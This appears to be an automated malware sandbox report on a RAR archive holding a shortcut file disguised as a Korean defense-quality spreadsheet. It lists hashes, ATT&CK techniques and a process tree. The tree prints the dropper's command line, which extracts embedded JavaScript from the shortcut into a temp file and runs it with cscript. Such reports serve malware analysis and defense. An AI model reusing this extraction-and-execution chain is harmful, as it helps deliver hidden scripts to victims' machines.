ae23feb9de28ffad320cc279efbae76aa4a501923eab846b804ec400c3cca0e3

Resubmissions

10-06-2024 09:34

240610-lj74fsfh48 7

10-06-2024 09:30

240610-lgnl2afh27 3

10-06-2024 09:21

240610-lbl61sfb31 1

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10-06-2024 09:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aaaaa.rar
Size

826B
MD5

31dc7e890d24acd56f5187edbec4de3f
SHA1

6b46555f8f417a7f0b060988e13f9e23efccf9ef
SHA256

ae23feb9de28ffad320cc279efbae76aa4a501923eab846b804ec400c3cca0e3
SHA512

f3f42a4d2ba6ee0f48079fc2a0cadc8785d3c3b701355ba6476214056e9ba84d490c7106e79e292a558010b5875d269adbbfbaca73935df9945959b57577c716

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
532	7zFM.exe
532	7zFM.exe
532	7zFM.exe
532	7zFM.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeRestorePrivilege	532	7zFM.exe
Token: 35	532	7zFM.exe
Token: SeSecurityPrivilege	532	7zFM.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
532	7zFM.exe
532	7zFM.exe
532	7zFM.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 532	3104	cmd.exe	91
PID 3104 wrote to memory of 532	3104	cmd.exe	91
PID 532 wrote to memory of 4164	532	7zFM.exe	103
PID 532 wrote to memory of 4164	532	7zFM.exe	103
PID 4164 wrote to memory of 2916	4164	cmd.exe	105
PID 4164 wrote to memory of 2916	4164	cmd.exe	105
PID 4164 wrote to memory of 5116	4164	cmd.exe	106
PID 4164 wrote to memory of 5116	4164	cmd.exe	106
PID 4164 wrote to memory of 2176	4164	cmd.exe	107
PID 4164 wrote to memory of 2176	4164	cmd.exe	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\aaaaa.rar
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\aaaaa.rar"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy "국방품질경영체제(DQMS)_인증업체_현황_V3.0(1).xlsx.lnk" /B C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp /y&type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp|find "vJgAABhIBFhYoQwAACgdvR" >C:\Users\Admin\AppData\Local\Temp\\j.js&cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\\edg863F8.tmp"
      4⤵
      PID:2916
  - - C:\Windows\system32\find.exe
      find "vJgAABhIBFhYoQwAACgdvR"
      4⤵
      PID:5116
  - - C:\Windows\system32\cscript.exe
      cscript.exe C:\Users\Admin\AppData\Local\Temp\\j.js
      4⤵
      PID:2176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1312 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
1⤵
PID:400

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7zO41219F19\국방품질경영체제(DQMS)_인증업체_현황_V3.0(1).xlsx.lnk

Filesize
1KB

MD5
73f5753466c587bc0a195545780aea8f

SHA1
cf9254fbd8981f17e06e06ee4b2914c4e6770363

SHA256
aa5af6d1864995cc384af3b01593ecd38b29b5a87f3f38bddc4aa2a269fc4d93

SHA512
cc214dbeb05df83c83769dd9503a68e7f66b01d101606617f3325158fedc0fbc475eb9f52d7666b264df0273c0bd554442529a3493b308d6c64b140dafaa0421

Download Submit